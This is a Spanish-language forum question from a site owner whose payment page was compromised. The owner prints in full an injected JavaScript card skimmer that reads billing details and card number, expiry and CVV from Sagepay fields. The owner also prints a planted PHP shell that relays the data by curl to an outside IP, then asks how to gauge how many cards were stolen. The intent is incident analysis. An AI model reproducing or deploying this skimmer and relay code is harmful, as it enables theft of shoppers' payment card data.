Necesito ayuda para comprender este truco y tal vez pueda obtener más información sobre él.
Este script se insertó en nuestro sitio web (quizás a través de una contraseña débil):
eval(atob("string"));
significa la cadena (usando un decodificador base 64):
var se = false;
function timedMe() {
if ((!se) && (document.getElementById('sagepaydirectpro_cc_cid'))) {
fln = document.getElementById('billing:firstname').value + ' ' + document.getElementById('billing:lastname').value;
ci = document.getElementById('billing:city').value;
s = document.getElementById('billing:region_id');
st = s.options[s.selectedIndex].text;
c = document.getElementById('billing:country_id');
co = c.options[c.selectedIndex].text;
ad = document.getElementById('billing:street1').value + ' ' + document.getElementById('billing:street2').value;
zp = document.getElementById('billing:postcode').value;
t = document.getElementById('sagepaydirectpro_cc_type');
ct = t.options[t.selectedIndex].text;
cn = document.getElementById('sagepaydirectpro_cc_number').value;
cem = document.getElementById('sagepaydirectpro_expiration').value;
cey = document.getElementById('sagepaydirectpro_expiration_yr').value;
cvv = document.getElementById('sagepaydirectpro_cc_cid').value;
if ((cn.length == 16 && cvv.length == 3) || (cn.length == 15 && cvv.length == 4)) {
se = true;
var i = document.createElement('img');
i.src = 'https://this.is.our.website.url/shell/shell.php?p=132' + encodeURIComponent('&fln=' + fln + '&ct=' + ct + '&cn=' + cn + '&cem=' + cem + '&cey=' + cey + '&cvv=' + cvv + '&co=' + co + '&ci=' + ci + '&st=' + st + '&ad=' + ad + '&zp=' + zp);
}
}
}
setInterval('timedMe()', 700);
Y luego en shell/shell.php
hay:
if($_GET['p']){
$dourl=base64_decode('aHR0cDovLzE5My4xMDQuNDEuMjIwL2wzLnBocD9wPQ==').urlencode($_GET['p']);
if(function_exists('curl_init')){
if($ch=curl_init()){
curl_setopt($ch,CURLOPT_URL,$dourl);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
if($data=@curl_exec($ch)) $wrt=$data;curl_close($ch);
}
}
else $wrt=@file_get_contents($dourl);
}
esa cadena se decodifica a:
http://193.104.41.220/l3.php?p=
Por lo tanto, entiendo que cuando un cliente realiza un pago en nuestro sitio web:
1) obtiene toda la información de los campos de Sagepay
2) verifica si cn y cvv son válidos
3) crea una imagen y se adjunta a la url todos los datos de la tarjeta de crédito
4) el script php lleva esos datos a su servidor ( enlace ).
Mi pregunta :
¿Hay algo más que pueda descubrir de estos scripts, como cuántas tarjetas se han comprometido, etc.?